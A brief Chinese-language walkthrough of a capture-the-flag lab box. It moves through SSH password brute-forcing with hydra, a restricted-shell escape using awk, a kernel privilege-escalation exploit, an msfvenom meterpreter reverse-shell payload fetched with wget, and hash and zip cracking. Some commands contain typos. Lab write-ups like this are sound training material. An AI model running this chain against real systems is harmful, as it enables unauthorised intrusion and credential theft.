这里先是思路,有空再详细说明。
nmap扫端口,8180->web,22->ssh
进入没什么东西,dirb爆破目录,进入/vhosts,看到主机名
vi /etc/hosts 修改 ip 主机名
访问 http://主机名:8180 有页面了。
爆破,进入 /luigi,思路 生成字典,爆破ssh
生成关键字cewl http://mario.supermariohost.local:8180/ -d -w /root/桌面/1.txt
-d 深度 -w 输出写入文件john --wordlist=1.txt --stdout --rules > passwords
生成字典hydra爆破ssh。登陆ssh。
ssh禁用了很多命令。whoami没法用,这里 http://www.4hou.com/penetration/11674.html 参考这篇文章进行绕过。
awk 'BEGIN {system("/bin/sh or /bin/bash")}'
此命令可用提权,
uname-a
查看内核版本号。利用https://www.exploit-db.com/raw/37292/ 进行提权。cd/root -> ls 有个flag.zip。加密了,我们用kali msf生成一个shell.elf在本地
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=本机ip lpost=4444 -f -elf > /var/www/html/shell.elf
生成在web目录下的目的是可以让我们拿到的靶机用wget来直接下载我们的马。攻击机msf:
1
2
3
4
5
6
7
8
9
10
11msf > use exploit/multi/handler
Msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > show options
msf exploit(handler) > set lhost 192.168.0.109
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit
靶机:
运行 ./shell.elf
msf建立监听
download flag.zip /root/
下载flag.zip,破解zip,fcrakzip -u -D -p /usr/share/wordlists/rockyou.txt
得到密码。打开flag,让我们继续解密
msf下run post/linux/gather/hashdump
拿到全部hash密文。破解hash。
第一步:已知上面压缩文件密码为:ilovepeach,我们创建一个文件把它保存进去。
第二步:跟上面一样,使用john来匹配生成一些简单的规则当字典,取名:newpass1.txtjohn --wordlist=newpass.txt --stdout --rules > newpass1.txt
第三步:就是使用john加载上该字典,对刚刚得到的hash继续爆破
得到系统账号密码。